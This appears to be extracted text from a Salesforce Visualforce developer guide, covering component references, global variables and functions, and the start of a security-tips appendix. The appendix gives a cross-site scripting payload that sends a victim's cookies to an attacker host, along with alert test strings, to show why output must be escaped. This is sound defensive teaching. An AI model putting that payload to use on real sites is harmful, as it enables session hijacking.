knowledge:articleList example that displays the ten most viewed articles in the 'phone' category
as an HMTL list of links. 'phone' is in the 'products' category group.
<apex:outputPanel layout="block">
<ul>
<knowledge:articleList articleVar="article"
categories="products:phone"
sortBy="mostViewed"
pageSize="10"
>
<li><a href="{!URLFOR($Action.KnowledgeArticle.View,
article.id)}">{!article.title}</a></li>
</knowledge:articleList>
</ul>
</apex:outputPanel>
Attributes
429
Standard Component Reference knowledge:articleRendererToolbar
knowledge:articleRendererToolbar
Displays a header toolbar for an article. This toolbar includes voting stars, a Chatter feed, a language picklist and a properties
panel. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
430
Standard Component Reference knowledge:articleTypeList
knowledge:articleTypeList
A loop on all available article types.
Attributes
knowledge:categoryList
A loop on a subset of the category hierarchy. The total number of categories displayed in a page cannot exceed 100.
431
Standard Component Reference liveAgent:clientChat
This knowledge:categoryList example displays a list of all the descendents of the 'phone'
category. The 'phone' category is in the 'product' category group.
<select name="category">
<knowledge:categoryList categoryVar="category" categoryGroup="product"
rootCategory="phone" level="-1">
<option value="{!category.name}">{!category.label}</option>
</knowledge:categoryList>
</select>
Attributes
liveAgent:clientChat
The main parent element for any Live Agent chat window. You must create this element in order to do any additional
customization of Live Agent.
Live Agent must be enabled for your organization. Note that this component can only be used once in a Live Agent deployment.
432
Standard Component Reference liveAgent:clientChatEndButton
Attributes
liveAgent:clientChatEndButton
The button within a Live Agent chat window a visitor clicks to end a chat session.
Must be used within liveAgent:clientChat.
Attributes
liveAgent:clientChatInput
The text box in a Live Agent chat window where a visitor types messages to an agent.
Must be used within liveAgent:clientChat. Each chat window can have only one input box.
Attributes
433
Standard Component Reference liveAgent:clientChatLog
liveAgent:clientChatLog
The area in a Live Agent chat window that displays the chat transcript to a visitor.
Must be used within liveAgent:clientChat. Each chat window can have only one chat log.
Attributes
liveAgent:clientChatMessages
The area in a Live Agent chat window that displays system status messages (such as "Chat session has been disconnected").
Must be used within liveAgent:clientChat. Each chat window can have only one message area.
Attributes
434
Standard Component Reference liveAgent:clientChatQueuePosition
liveAgent:clientChatQueuePosition
A text label indicating a visitor's position within a queue for a chat session initiated via a button that uses push routing. (On
buttons that use pull routing, this component has no effect.)
Must be used within liveAgent:clientChat.
Attributes
liveAgent:clientChatSaveButton
The button in a Live Agent chat window a visitor clicks to save the chat transcript as a local file.
Must be used within liveAgent:clientChat. Each chat window can have multiple save buttons.
Attributes
liveAgent:clientChatSendButton
The button in a Live Agent chat window a visitor clicks to send a chat message to an agent.
Must be used within liveAgent:clientChat. Each chat window can have multiple send buttons.
435
Standard Component Reference messaging:attachment
Attributes
messaging:attachment
Compose an attachment and append it to the email.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="support@acme.com">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Attached is a list of cases related to {!relatedTo.name}.</p>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
436
Standard Component Reference messaging:emailHeader
</apex:repeat>
</table>
</body>
</html>
</messaging:attachment>
</messaging:emailTemplate>
Attributes
messaging:emailHeader
Adds a custom header to the email. The body of a header is limited to 1000 characters.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Testing a custom header"
replyTo="support@acme.com">
<messaging:emailHeader name="customHeader">
BEGIN CUSTOM HEADER
Account Id: {!relatedTo.Id}
END CUSTOM HEADER
</messaging:emailHeader>
<messaging:htmlEmailBody >
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Check out the header of this email!</p>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
437
Standard Component Reference messaging:emailTemplate
Attributes
messaging:emailTemplate
Defines a Visualforce email template. All email template tags must be wrapped inside a single emailTemplate component tag.
emailTemplate must contain either an htmlEmailBody tag or a plainTextEmailBody tag. The detail and form components
are not permitted as child nodes. This component can only be used within a Visualforce email template. Email templates can
be created and managed through Setup | Communication Templates | Email Templates.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Your account's cases"
replyTo="cases@acme.nomail.com" >
<messaging:htmlEmailBody >
<html>
<body>
<p>Hello {!recipient.name}--</p>
<p>Here is a list of the cases we currently have for account {!relatedTo.name}:</p>
438
Standard Component Reference messaging:emailTemplate
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
language="{!recipient.language__c}"
subject="{!$Label.email_subject}"
replyTo="cases@acme.nomail.com" >
<messaging:htmlEmailBody >
<html>
<body>
<p>{!$Label.email_greeting} {!recipient.name}--</p>
<p>{!$Label.email_body}</p>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
Attributes
439
Standard Component Reference messaging:htmlEmailBody
messaging:htmlEmailBody
The HTML version of the email body.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="support@acme.com">
<messaging:htmlEmailBody>
<html>
<style type="text/css">
body {font-family: Courier; size: 12pt;}
table {
border-width: 5px;
border-spacing: 5px;
border-style: dashed;
border-color: #FF0000;
background-color: #FFFFFF;
}
td {
border-width: 1px;
padding: 4px;
border-style: solid;
border-color: #000000;
background-color: #FFEECC;
}
th {
color: #000000;
440
Standard Component Reference messaging:plainTextEmailBody
border-width: 1px ;
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
<body>
<p>Dear {!recipient.name},</p>
<p>Below is a list of cases related to {!relatedTo.name}.</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
<p/>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
Attributes
messaging:plainTextEmailBody
The plain text (non-HTML) version of the email body.
441
Standard Component Reference site:googleAnalyticsTracking
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="support@acme.com">
<messaging:plainTextEmailBody>
Dear {!recipient.name},
</messaging:plainTextEmailBody>
</messaging:emailTemplate>
Attributes
site:googleAnalyticsTracking
The standard component used to integrate Google Analytics with Force.com sites to track and analyze site usage. Add this
component just once, either on the site template for the pages you want to track, or the individual pages themselves. Don't
set the component for both the template and the page. Attention: This component only works on pages used in a Force.com
site. Sites must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a tracking
code, go to the Google Analytics website.
Example
<!-- Google Analytics recommends adding the component at the bottom of the page to avoid
increasing page load time. -->
<site:googleAnalyticsTracking/>
442
Standard Component Reference site:previewAsAdmin
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
<script>
try {
var pageTracker = _gat._getTracker("{!$Site.AnalyticsTrackingCode}");
if ({!isCustomWebAddressNull}) {
pageTracker._setCookiePath("{!$Site.Prefix}/");
}
else if ({!isCustomWebAddress}) {
pageTracker._setAllowLinker(true);
pageTracker._setAllowHash(false);
}
else {
pageTracker._setDomainName("none");
pageTracker._setAllowLinker(true);
pageTracker._setAllowHash(false);
}
pageTracker._trackPageview();
}
catch(err) {
}
</script>
Attributes
site:previewAsAdmin
This component shows detailed error messages on a site in administrator preview mode. Starting with Summer '10, new
organizations include this component by default. You must add the component manually to all custom error pages and pages
from older organizations. We recommend that you add it right before the closing apex:page tag. Note: The site:previewAsAdmin
component contains the apex:messages tag, so if you have that tag elsewhere on your error pages, you will see the error message
twice.
443
Standard Component Reference social:profileViewer
Example
<!-- We recommend adding this component right before your closing apex:page tag. -->
<site:previewAsAdmin/>
<span id="j_id0:j_id50">
<span id="j_id0:j_id50:j_id51:j_id52">
<div style="border-color:#FF9900; border-style:solid; border-width:1px;
padding:5px 0px 5px 6px; background-color:#FFFFCC; font-size:10pt;
margin-right:210px; margin-left:210px; margin-top:25px;">
<table cellpadding="0" cellspacing="0">
<tbody><tr>
<td><img src="/img/sites/warning.gif" height="40"
style="padding:5px;margin:0px;" width="40" /></td>
<td> <strong><ul id="j_id0:j_id50:j_id51:msgs3"
style="margin:5px;"><li>Page not found:test </li></ul>
</strong>
<a href="/sites/servlet.SiteDebugMode?logout=1"
style="padding:40px;margin:15px;">Logout of Administrator Preview Mode</a>
</td>
</tr> </tbody>
</table>
</div>
</span>
</span>
Attributes
social:profileViewer
UI component that adds the Social Accounts and Contacts viewer to Account (including person account), Contact, or Lead
detail pages. The viewer includes a profile picture and the social network icons that allow users to sign in to their accounts
and view social data directly in Salesforce.
Social Accounts and Contacts must be enabled for your organization. Note that this component is only supported for Account,
Contact, and Lead objects and can only be used once on a page. This component isn't available for Visualforce pages on
Force.com sites.
444
Standard Component Reference social:profileViewer
This example displays the Social Accounts and Contacts viewer for a contact.
<apex:page standardController="Contact">
<social:profileViewer entityId="{!contact.id}"/>
</apex:page>
Attributes
445
APPENDICES
Appendix
A
Global Variables, Functions, and Expression Operators
Visualforce pages use the same expression language as formulas—that is, anything inside {! } is evaluated as an expression
that can access values from records that are currently in context.
This appendix provides an overview of the variables, functions, and operators that can be used in Visualforce markup expressions:
• Global Variables
• Functions
• Expression Operators
Global Variables
You can use global variables to reference general information about the current user and your organization on a Visualforce
page. All global variables must be included in expression syntax, for example, {!$User.Name}.
$Action
Description A global merge field type to use when referencing standard Salesforce actions such
as displaying the Accounts tab home page, creating new accounts, editing accounts,
and deleting accounts.
Use Use dot notation to specify an object and an action, for example,
$Action.Account.New
<apex:outputLink value="{!URLFOR($Action.Account.New)}">
Create New Account
</apex:outputLink>
446
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
<apex:page standardController="Attachment">
<apex:outputLink
value="{!URLFOR($Action.Attachment.Download,
attachment.id)}">
Download Now!
</apex:outputLink>
</apex:page>
$Api
Description A global merge field type to use when referencing API URLs.
Use Use dot notation to specify an API URL, or to return the session ID.
Example
{!$Api.Session_ID}
$Component
Description A global merge field type to use when referencing a Visualforce component.
Use Each component in a Visualforce page has its own id attribute. When the page is
rendered, this attribute is the same as the Document Object Model (DOM) ID.Use
$Component.Id in JavaScript to reference a specific component on a page.
function beforeTextSave() {
document.getElementById('{!$component.
msgpost}').value = myEditor.getEditorHTML();
}
<apex:page>
<apex:outputText id="msgpost" value="Emad is great"/>
</apex:page>
If your component is nested, you must declare the entire component tree. For
example, if your page looks like this:
<apex:page>
<apex:pageBlock id="theBlock">
<apex:pageBlockSection
id="theSection" columns="1">
<apex:pageBlockSectionItem
id="theSectionItem">
<apex:outputText id="text">
Heya!
</apex:outputText>
447
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
document.getElementById(
"{!$Component.theBlock.theSection.theSectionItem.text}")
$componentLabel
Description: A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.
Use: Return the label of an inputField component that is associated with a message.
Visualforce Example:
<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>
$CurrentPage
Description A global merge field type to use when referencing the current Visualforce page.
Use Use this expression in a Visualforce page to access the current page parameters and
values, the current page name ($CurrentPage.Name), or the URL of the current
page ($CurrentPage.URL).
Example
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"
/>
</apex:page>
$Label
Description A global merge field type to use when referencing a custom label in a Visualforce
page.
448
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Use Use this expression in a Visualforce page to access a custom label. When the
application server constructs the page to be presented to the end-user’s browser,
the value returned depends upon the language setting of the contextual user. The
value returned is one of the following, in order of precedence:
1. the local translation's text
2. the packaged translation's text
3. the master label's text
Example
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>
$Label.Site
Description A global merge field type to use when referencing a standard label in a Visualforce
page. Like all standard labels, the text will display based on the user's language and
locale.
Use Use this expression in a Visualforce page to access a standard label. When the
application server constructs the page to be presented to the end-user’s browser,
the value returned depends on the language and locale of the user.
Salesforce provides the following labels:
Label Message
authorization_required Authorization Required
bandwidth_limit_exceeded Bandwidth Limit Exceeded
change_password Change Password
change_your_password Change Your Password
click_forget_password If you have forgotten your password, click
Forgot Password to reset it.
community_nickname Nickname
confirm_password Confirm Password
down_for_maintenance <i>{0}</i> is down for maintenance
email Email
email_us email us
enter_password Did you forget your password? Please enter
your username below.
error Error: {0}
error2 Error
449
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Label Message
file_not_found File Not Found
forgot_password Forgot Password
forgot_password_confirmation Forgot Password Confirmation
forgot_your_password_q Forgot Your Password?
get_in_touch Please <a href="{0}">{1}</a> if you need to get
in touch.
go_to_login_page Go to Login Page
img_path /img/sites
in_maintenance Down For Maintenance
limit_exceeded Limit Exceeded
login Login
login_button Login
login_or_register_first You must first log in or register before
accessing this page.
logout Logout
new_password New Password
new_user_q New User?
old_password Old Password
page_not_found Page Not Found
page_not_found_detail Page Not Found: {0}
password Password
passwords_dont_match Passwords did not match.
powered_by Powered by
register Register
registration_confirmation Registration Confirmation
site_login Site Login
site_under_construction Site Under Construction
sorry_for_inconvenience Sorry for the inconvenience.
sorry_for_inconvenience_back_shortly Sorry for the inconvenience. We'll be back
shortly.
stay_tuned Stay tuned.
submit Submit
temp_password_sent An email has been sent to you with your
temporary password.
450
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Label Message
thank_you_for_registering Thank you for registering. An email has been
sent to you with your temporary password.
under_construction <i>{0}</i> is under construction
user_registration New User Registration
username Username
verify_new_password Verify New Password
Example
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>
$ObjectType
Description A global merge field type to use when referencing standard or custom objects such
as accounts, cases, or opportunities as well as the value of a field on that object.
Use Use dot notation to specify an object, such as $ObjectType.Case.
Optionally, select a field on that object using the following syntax:
$ObjectType.Role_Limit__c.Fields.Limit__c.
Example The following example retrieves the label for the Account name field:
{!$ObjectType.Account.Fields.Name.Label}
You can also use dynamic references on page 142 to retrieve information about an
object through $ObjectType. For example,
{!$ObjectType.Account.Fields['Name'].Type}
$Organization
Description A global merge field type to use when referencing information about your company
profile. Use organization merge fields to reference your organization's city, fax, ID,
or other details.
Use Use dot notation to access your organization's information. For example:
{!$Organization.Street}
{!$Organization.State}
The values returned for the fields are the values currently stored as part of your
company information in Salesforce.
451
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Note that you cannot use the UiSkin $Organization value in Visualforce.
Example
{!$Organization.Phone}
$Page
Description A global merge field type to use when referencing a Visualforce page.
Use Use this expression in a Visualforce page to access another Visualforce page.
Example
<apex:page>
<h1>Linked</h1>
<apex:outputLink value="{!$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>
$Profile
Description A global merge field type to use when referencing information about the current
user's profile. Use profile merge fields to reference information about the user's
profile such as license type or name.
Use Use dot notation to access your organization's information.
Note that you cannot use the following $Profile values in Visualforce:
• LicenseType
• UserType
Example
{!$Profile.Id}
{!$Profile.Name}
$Resource
Description A global merge field type to use when referencing an existing static resource by
name in a Visualforce page. You can also use resource merge fields in URLFOR
functions to reference a particular file in a static resource archive.
Use Use $Resource to reference an existing static resource. The format is
$Resource.nameOfResource, such as $Resource.TestImage.
Examples The Visualforce component below references an image file that was uploaded as a
static resource and given the name TestImage:
452
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
To reference a file in an archive (such as a .zip or .jar file), use the URLFOR function.
Specify the static resource name that you provided when you uploaded the archive
with the first parameter, and the path to the desired file within the archive with
the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}"
width="50" height="50"/>
$SControl
Description A global merge field type to use when referencing an existing custom s-control by
name. This merge field type results in a URL to a page where the s-control executes.
Use Use dot notation to access an existing s-control by its name.
Examples The following example shows how to link to an s-control named HelloWorld in
a Visualforce page:
<apex:page>
<apex:outputLink value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>
Note that if you simply want to embed an s-control in a page, you can use the
<apex:scontrol> tag without the $SControl merge field. For example:
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>
$Site
Description A global merge field type to use when referencing information about the current
Force.com site.
Use
Use dot notation to access information about the current Force.com site. Note that
only the following site fields are available:
453
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Example The following example shows how to use the $Site.Template merge field:
onclick="window.top.location='{!$Page.PublicJobs}';return
454
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
false;"/>
<br/>
<br/>
<center><apex:outputText value="Your application has
been saved. Thank
you for your interest!"/></center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>
$System.OriginDateTime
Description A global merge field that represents the literal value of 1900-01-01 00:00:00.
Use Use this global variable when performing date/time offset calculations or to assign
a literal value to a data/time field.
Example The following example calculates the number of days that have passed since 1900:
{!NOW() - $System.OriginDateTime}
$User
Description A global merge field type to use when referencing information about the current
user. User merge fields can reference information about the user such as alias, title,
and ID.
Use Use dot notation to access the current user's information. For example:
Example The following example displays the current user's company name, as well as the
status of the current user (which returns a Boolean value.)
<apex:page>
<h1>Congratulations</h1>
This is your new Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
</apex:page>
455
Appendix A: Global Variables, Functions, and Expression Operators Global Variables
Description These global merge fields identify the Salesforce look and feel a user sees on a given
Web page.
The difference between the two variables is that $User.UITheme returns the look
and feel set by the user, while $User.UIThemeDisplayed returns the actual
look and feel. For example, a user may have the permissions to see the new user
interface theme look and feel, but if they are using a browser that doesn't support
that look and feel, $User.UIThemeDisplayed returns a different value.
Factors that affect the expected theme from displaying include the user agent of
the browser and whether accessibility mode is enabled.
Use Use these variables to identify the CSS used to render Salesforce web pages to a
user. Both variables return one of the following values:
• Theme1—Obsolete Salesforce theme
• Theme2—Salesforce theme used prior to Spring '10
• PortalDefault—Salesforce Customer Portal theme
• Webstore—Salesforce AppExchange theme
• Theme3—Current Salesforce theme, introduced during Spring '10
Example The following example shows how you can render different layouts based on a
user's theme:
<apex:page>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>
The section “Styling Visualforce Pages” in the Visualforce Developer's Guide provides
more information on how to use these global variables.
$UserRole
Description A global merge field type to use when referencing information about the current
user's role. Role merge fields can reference information such as role name,
description, and ID.
Use Use dot notation to access information about the current user’s role.
Note that you cannot use the following $UserRole values in Visualforce:
• CaseAccessForAccountOwner
• ContactAccessForAccountOwner
• OpportunityAccessForAccountOwner
• PortalType
456
Appendix A: Global Variables, Functions, and Expression Operators Functions
Example
{!$UserRole.LastModifiedById}
Functions
You can use the following operators and functions in your Visualforce pages.
Math Operators
Logical Operators
457
Appendix A: Global Variables, Functions, and Expression Operators Functions
Text Operators
458
Appendix A: Global Variables, Functions, and Expression Operators Functions
Tips
• Do not remove the parentheses.
• Keep the parentheses empty. They
do not need to contain a value.
• Use addition or subtraction operators
and a number with a NOW function to
return a different date and time. For
example {!NOW() +5} calculates
the date and time five days ahead of
now.
• If you prefer to use a date time field,
use TODAY.
459
Appendix A: Global Variables, Functions, and Expression Operators Functions
Tips
• Do not remove the parentheses.
• Keep the parentheses empty. They
do not need to contain a value.
• Use addition and subtraction
operators with a TODAY function and
numbers to return a date. For
example {!TODAY() +7} calculates
the date seven days ahead of now.
• If you prefer to use a date time field,
use NOW.
YEAR Returns the four-digit year in number YEAR(date) and replace date with the
format of a given date. field or expression that contains the year
you want returned.
Informational Functions
460
Appendix A: Global Variables, Functions, and Expression Operators Functions
Logical Functions
{!IF(AND(Price < 1,
Quantity
< 1),
"Small",
null)}
461
Appendix A: Global Variables, Functions, and Expression Operators Functions
{!IF(NOT(Account.IsActive)ReportAcct,
SaveAcct)}
{!IF(OR(Account.IsActive__c,
Account.IsNew__C))
VerifyAcct, CloseAcct)}
462
Appendix A: Global Variables, Functions, and Expression Operators Functions
Math Functions
463
Appendix A: Global Variables, Functions, and Expression Operators Functions
Text Functions
{!BEGINS(opportunity.StageName,
'Closed')}
{!IF(contains(opportunity.Product_Type__c,
"part"), "Parts",
"Service")}
464
Appendix A: Global Variables, Functions, and Expression Operators Functions
HTMLENCODE Encodes text and merge field values for {!HTMLENCODE(text)} and replace
use in HTML by replacing characters text with the merge field or text string
that are reserved in HTML, such as the that contains the reserved characters.
greater-than sign (>), with HTML entity
equivalents, such as >.
ISPICKVAL Determines if the value of a picklist field ISPICKVAL(picklist_field,
is equal to a text literal you specify. text_literal) and replace
picklist_field with the merge field
name for the picklist; replace
text_literal with the picklist value
in quotes. text_literal cannot be a
merge field or the result of a function.
JSENCODE Encodes text and merge field values for {!JSENCODE(text)} and replace text
use in JavaScript by inserting escape with the merge field or text string that
characters, such as a backslash (\), before contains the unsafe JavaScript characters.
unsafe JavaScript characters, such as the
apostrophe (').
JSINHTMLENCODE Encodes text and merge field values for {!JSINHTMLENCODE(text)} and
use in JavaScript within HTML tags by replace text with the merge field or text
inserting escape characters before unsafe string that contains the unsafe JavaScript
JavaScript characters and replacing characters.
characters that are reserved in HTML
with HTML entity equivalents.
LEFT Returns the specified number of LEFT(text, num_chars) and replace
characters from the beginning of a text text with the field or expression you
string. want returned; replace num_chars with
the number of characters from the left
you want returned.
LEN Returns the number of characters in a LEN(text) and replace text with the
specified text string. field or expression whose length you want
returned.
{!LEN(Account.name)} returns the
number of characters in the Account
name. LEN counts spaces as well as
characters. {!LEN("The Spot")}
returns 8.
LOWER Converts all letters in the specified text LOWER(text, [locale]) and replace
string to lowercase. Any characters that text with the field or text you wish to
are not letters are unaffected by this convert to lowercase, and locale with
function. Locale rules are applied if a the optional two-character ISO language
locale is provided. code or five-character locale code, if
available. For information on supported
languages, see “What languages does
Salesforce support?” in the online help.
465
Appendix A: Global Variables, Functions, and Expression Operators Functions
466
Appendix A: Global Variables, Functions, and Expression Operators Functions
TEXT Converts a percent, number, date, TEXT(value) and replace value with
date/time, or currency type field into text the field or expression you want to
anywhere formulas are used. Also, convert to text format. Avoid using any
converts picklist values to text in special characters besides a decimal point
validation rules, formula fields, and field (period) or minus sign (dash) in this
updates. function.
TRIM Removes the spaces and tabs from the TRIM(text) and replace text with the
beginning and end of a text string. field or expression you want to trim.
UPPER Converts all letters in the specified text UPPER(text, [locale]) and replace
string to uppercase. Any characters that text with the field or expression you
are not letters are unaffected by this wish to convert to uppercase, and
function. Locale rules are applied if a locale with the optional two-character
locale is provided. ISO language code or five-character
locale code, if available. For information
on supported languages, see “What
languages does Salesforce support?” in
the online help.
URLENCODE Encodes text and merge field values for {!URLENCODE(text)} and replace
use in URLs by replacing characters that text with the merge field or text string
are illegal in URLs, such as blank spaces, that you want to encode.
with the code that represent those
characters as defined in RFC 3986,
Uniform Resource Identifier (URI): Generic
Syntax. For example, blank spaces are
replaced with %20, and exclamation
points are replaced with %21.
VALUE Converts a text string to a number. VALUE(text) and replace text with
the field or expression you want
converted into a number.
Advanced Functions
467
Appendix A: Global Variables, Functions, and Expression Operators Functions
468
Appendix A: Global Variables, Functions, and Expression Operators Functions
Encoding Functions
469
Appendix A: Global Variables, Functions, and Expression Operators Expression Operators
Expression Operators
Expressions can be joined to one another with operators to create compound expressions. Visualforce supports the following
operators:
Operator Description
+ Calculates the sum of two values.
- Calculates the difference of two values.
* Multiplies its values.
/ Divides its values.
^ Raises a number to a power of a specified number.
() Specifies that the expressions within the open parenthesis and close parenthesis are evaluated
first. All other expressions are evaluated using standard operator precedence.
= Evaluates if two values are equivalent.
<> Evaluates if two values are not equivalent.
< Evaluates if a value is less than the value that follows this symbol.
> Evaluates if a value is greater than the value that follows this symbol.
<= Evaluates if a value is less than or equal to the value that follows this symbol.
>= Evaluates if a value is greater than or equal to the value that follows this symbol.
& Connects two or more strings.
470
Appendix A: Global Variables, Functions, and Expression Operators Expression Operators
471
Appendix
B
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding
mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while
others are unique to Apex.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described
here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/page/Security.
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
472
Appendix B: Security Tips for Apex and Visualforce Development Cross Site Scripting (XSS)
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks,
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/articles/xss-faq.shtml
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
<script>
var foo = location.search;
document.write(foo);
</script>
473
Appendix B: Security Tips for Apex and Visualforce Development Unescaped Output and Formulas in Visualforce Pages
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be
designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as >.
JSENCODE
The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters,
such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
474
Appendix B: Security Tips for Apex and Visualforce Development Cross-Site Request Forgery (CSRF)
JSINHTMLENCODE
The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML
tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML
with HTML entity equivalents.
URLENCODE
The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that
are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform
Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is going to be used in a link. Otherwise, the request:
